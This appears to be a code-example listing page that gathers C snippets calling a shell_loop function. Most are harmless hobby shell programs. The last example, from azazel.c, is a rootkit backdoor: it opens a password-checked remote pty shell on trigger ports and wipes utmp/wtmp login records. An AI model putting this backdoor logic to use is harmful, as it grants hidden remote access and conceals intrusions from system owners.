예제 #1
0
파일: main.c 프로젝트: KhaledEl-Tahan/shell
void start(bool read_from_file)
{
	cd(""); // let shell starts from home

	if(read_from_file){
		// file processing functions should be called from here

		shell_loop(true);
	}
	else{
		shell_loop(false);
	}
}
예제 #2
0
int main(int argc, char **argv)
{
  
  shell_loop(); // run loop

  return 0;
}
예제 #3
0
int do_load(moltengamepad* mg, std::vector<token>& command, message_stream* out) {
  if (command.size() < 4) {
    out->print(LOAD_USAGE);
    return -1;
  }
  if (command.at(1).value != "profiles" || command.at(2).value != "from") {
    out->print(LOAD_USAGE);
    return -1;
  }
  std::string filename = command.at(3).value;
  for (int i = 4; i < command.size(); i++) {
    if (command.at(i).type != TK_ENDL) filename += command.at(i).value;
  }
  std::string foundname = mg->locate(FILE_PROFILE,filename);
  if (foundname.empty()) {
    out->err("could not locate file " + filename);
    return -2;
  }
  out->print("attempting to load from " + foundname);
  std::ifstream file;
  file.open(foundname, std::ifstream::in);
  if (file.fail()) {
    out->err("could not open file " + foundname);
    return -2;
  }
  shell_loop(mg, file);
  file.close();
  return 0;
}
예제 #4
0
int main(int argc, char **argv)
{
	// Config Files
	// Command Line Loop
	shell_loop();
	// Shut Down / Clean Up
	return EXIT_SUCCESS;
}
예제 #5
0
int main(int argc, char **argv)
{
  // Load config files, if any.
	signal(SIGINT, sigintHandler);
	load_cmd_array(); //loading the process names
  //shell loop
  	shell_loop();
  // Perform any shutdown/cleanup.
  return 0;
}
예제 #6
0
파일: shell.c 프로젝트: sethebner/shell
int main
    (
    int     argc,
    char**  argv
    )
{
    shell_intro();
    shell_loop();

    return SUCCESS;
} /* main() */
예제 #7
0
int main(int argc, char *argv[]) {
    batch = (argc > 1) ? 1 : 0;   /* if batch == 1, get input from text file */

    var_init(argv[1]);

    shell_loop();

    free(myshell_env.PWD);
    free(myshell_env.SHELL);
    free(prompt);
    
    return EXIT_SUCCESS;
}
예제 #8
0
int main()
{
	// Display custom shell header
	char *prompt = getenv("USER");
	int status = 0;
	pid_t pid;

	// Pull time from system (Stack Overflow)
	time_t rawtime;
	struct tm * timeinfo;
	time(&rawtime);
	timeinfo = localtime(&rawtime);

	// Initial prompt
	printf("Entering custom shell as '%s'\n", prompt);
	printf("Current login: %s\n", asctime(timeinfo));

	// Initial fork
	pid = fork();

	if (pid < 0) {
		/* Error Forking */
		perror("Error forking: terminating shell.\n\n");
		return 1;

	}
	else if (pid > 0) {
		/* Parent Process */
		pid = wait(&status);
		printf("Shell terminated normally.\n\n");
		exit(status);

	}
	else {
		/* Child Process */
		shell_loop(prompt);
		exit(status);
	}

	// Return to terminate program
	return 0;

}
예제 #9
0
파일: main.c 프로젝트: ereio/FAT-CAT
int main(int argc, char* args[])
{
	char *line;
	char cmd[255][255];

	fatcat.img = fopen(args[1], "r+");	/* opens file system*/

 	if(!init_memmy()) return 1;	/* Address Mem initialization*/

 	if(LoadImage(fatcat.img)) return 2; /* File system initialization*/

 	cuser = set_string(255);	/* User handle */
 	cuser = getenv("USER");

	line = set_string(255);		/* current command line init */

	while(run) shell_loop(line, cmd);

	return exit_shell();
}
예제 #10
0
파일: shell.c 프로젝트: 7u83/actube
void * run_shell (void * arg)
{
	struct sockaddr_storage server, client;
	socklen_t client_size;
	char sockstr[SOCK_ADDR_BUFSIZE];
	
	int rc;
	const char * addr = "127.0.0.1:5000";
	int sockfd, clientsock;
	int yes;
while(1){
	

	rc = sock_strtoaddr (addr, (struct sockaddr*) &server);
	
	if (! rc) {
		cw_log (LOG_ERR, "Can't parse address '%s', %s", addr, strerror (errno));
	}
	
	sockfd = socket ( ( (struct sockaddr*) &server)->sa_family, SOCK_STREAM, 0);
	
	yes = 1;
	/* reuse address */
	setsockopt (sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof (yes));
	
	
	/* bind address */
	rc =  bind (sockfd, (struct sockaddr*) &server, sizeof (server));
	
	if (rc) {
		cw_log (LOG_ERR, "Can't bind socket address '%s', %s", addr, strerror (errno));
	}
	
	rc = listen (sockfd, 5);
	
	if (rc) {
		cw_log (LOG_ERR, "Can't listen on address '%s', %s", addr, strerror (errno));
	}
	
	
	client_size = sizeof (client);
	clientsock = accept (sockfd, (struct sockaddr*) &client, &client_size);
	
	if (clientsock > 0) {
		sock_addr2str_p (&client, sockstr);
		cw_dbg (DBG_INFO, "Acceptiong session from %s", sockstr);
		printf("New shell lopp\n");
		shell_loop (fdopen (clientsock, "a+"));
		printf("end shell lopp\n");
		close (clientsock);
		printf("close clsock\n");
	}
	
	
	
	cw_dbg (DBG_INFO,"Accepting shell session %i, %s", rc, strerror (errno));
}	
	
	
	
	return NULL;
}
예제 #11
0
파일: main.c 프로젝트: peimin/minishell
int main(void)
{
    setup();      /* setup signal */
    shell_loop(); /* enter shell loop */
	return 0;
}
예제 #12
0
파일: azazel.c 프로젝트: Extered/azazel
int drop_shell(int sock, struct sockaddr *addr) {
	DEBUG("drop_shell called.\n");
	char buffer[512];
	char *shell_passwd = strdup(SHELL_PASSWD);
	char *shell_msg = strdup(SHELL_MSG);
	int crypt_mode = -1;
	int pid, pty, tty;
	
	ssize_t (*s_write)();
	
	init();
	x(shell_msg);
	x(shell_passwd);
	
	char buf[MAX_LEN];

	memset(buffer,0x00,sizeof(buffer));

	struct sockaddr_in *sa_i = (struct sockaddr_in*)addr;

	if(htons(sa_i->sin_port) >= LOW_PORT && htons(sa_i->sin_port) <= HIGH_PORT) {
		crypt_mode = PLAIN_SHELL;
		char *sys_write = strdup(SYS_WRITE);
		x(sys_write);
		s_write = dlsym(RTLD_NEXT, sys_write);
		cleanup(sys_write, strlen(sys_write));
	 } else if (htons(sa_i->sin_port) >= CRYPT_LOW && htons(sa_i->sin_port) <= CRYPT_HIGH) {
		crypt_mode = CRYPT_SHELL;
		s_write = crypt_write;
	 } else
		return sock;
	
	if(check_shell_password(sock, crypt_mode) != 1) {
		shutdown(sock, SHUT_RDWR);
		close(sock);
		return -1;
	}
		
	s_write(sock, shell_msg, strlen(shell_msg));
	char pty_name[51];
	if (openpty(&pty, &tty, pty_name, NULL, NULL) == -1) {
		DEBUG("Failed to grab pty\n");
		return;
	}
	
	char *ptr = &pty_name[5]; // Jump past /dev/ and clean the logs
	clean_utmp(ptr, 0);
	clean_wtmp(ptr, 0);

	/* Fork child process to start an interactive shell */
	if ((pid=fork()) == -1) {
		return -1;
	} else if (pid == 0) {
		setup_pty(sock, &pty, &tty);
	} else {
		close(tty);
	}
	
	/* Fork child process to run the pipes for the shell */
	if ((pid=fork()) == -1)
		return -1;
	else if (pid == 0) 
		shell_loop(sock, pty, crypt_mode);
	else {
		close(sock);
		close(pty);
		errno = ECONNABORTED;
		return -1;
	}
}